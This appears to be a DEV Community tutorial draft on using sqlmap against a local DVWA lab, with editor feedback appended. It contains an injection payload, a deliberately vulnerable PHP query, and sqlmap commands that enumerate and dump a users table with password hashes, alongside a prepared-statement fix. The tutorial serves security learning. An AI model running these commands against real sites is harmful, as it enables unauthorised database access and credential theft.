sqlmap in 15 Minutes: From First Request to Extracted Data in a Lab

GhostRunner — Sun, 08 Nov 2026 20:40:53 +0000

This post is a hands-on introduction to sqlmap, a tool that automates the detection and exploitation of SQL injection. All examples run only in a local lab. Testing someone else's site without written permission is illegal, even with good intentions.

What SQL injection is

Imagine a page that takes a URL parameter and drops it straight into a database query:

$id = $_GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

If a user passes id=1' OR '1'='1, the query changes shape and the database returns every row. That's the core of injection: user input becomes part of the command.

Setting up the lab

We'll use DVWA (Damn Vulnerable Web Application), an intentionally insecure app built for learning:

docker run --rm -it -p 80:80 vulnerables/web-dvwa

Open http://localhost/setup.php, click Create / Reset Database, then log in with admin / password. Under DVWA Security, set the level to low.

Install sqlmap:

pip install sqlmap
# or clone from git: git clone https://github.com/sqlmapproject/sqlmap.git

Step 1: Grab your session cookies

sqlmap needs to act as a logged-in user, so we pass it the session cookies. Open DevTools (F12), go to Application → Cookies, and copy the values of PHPSESSID and security.

Step 2: First scan

Go to the SQL Injection page in DVWA and enter 1 in the field. The URL will look like http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit.

sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=your_value; security=low" \
  --batch --dbs

--batch accepts sqlmap's default answers so it runs without prompts. --dbs lists the databases it can access.

Step 3: Enumerate tables

Once you see the dvwa database in the output, list its tables:

sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=your_value; security=low" \
  --batch -D dvwa --tables

Step 4: Dump the data

sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=your_value; security=low" \
  --batch -D dvwa -T users --dump

sqlmap prints the table and saves a copy under its output directory. You'll see the same user accounts and password hashes that the lab database holds.

What to take away

Fixing this is simple: use parameterized queries (prepared statements) instead of string concatenation. In PHP with PDO:

$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?");
$stmt->execute([$id]);

Now the input is always treated as data, never as SQL.

Notes for you before posting (in Ukrainian, as you asked for blunt feedback):

The title's "15 minutes" is a promise you can't guarantee. Docker pull and DVWA setup can take longer on a slow connection. Either measure it yourself or drop the number.
The intro is weak. The first paragraph is a legal disclaimer, not a hook. DEV readers scroll past that. Start with a concrete moment: "I got my first SQLi in a lab at 2 a.m. and didn't believe the output," or something similar, if it's true.
Step 1 is too thin. Show a screenshot of the DevTools cookie panel. Right now a reader has to guess what the cookie names look like.
The payload example (1' OR '1'='1) never appears in the sqlmap steps. You could show what sqlmap actually detected, like the injection type and the vulnerable parameter, from its output. That's the most interesting part and it's missing.
No real output. DEV posts with actual terminal output get more engagement than ones with commands alone. Paste a short excerpt from the --dbs run.

DEV Community: GhostRunner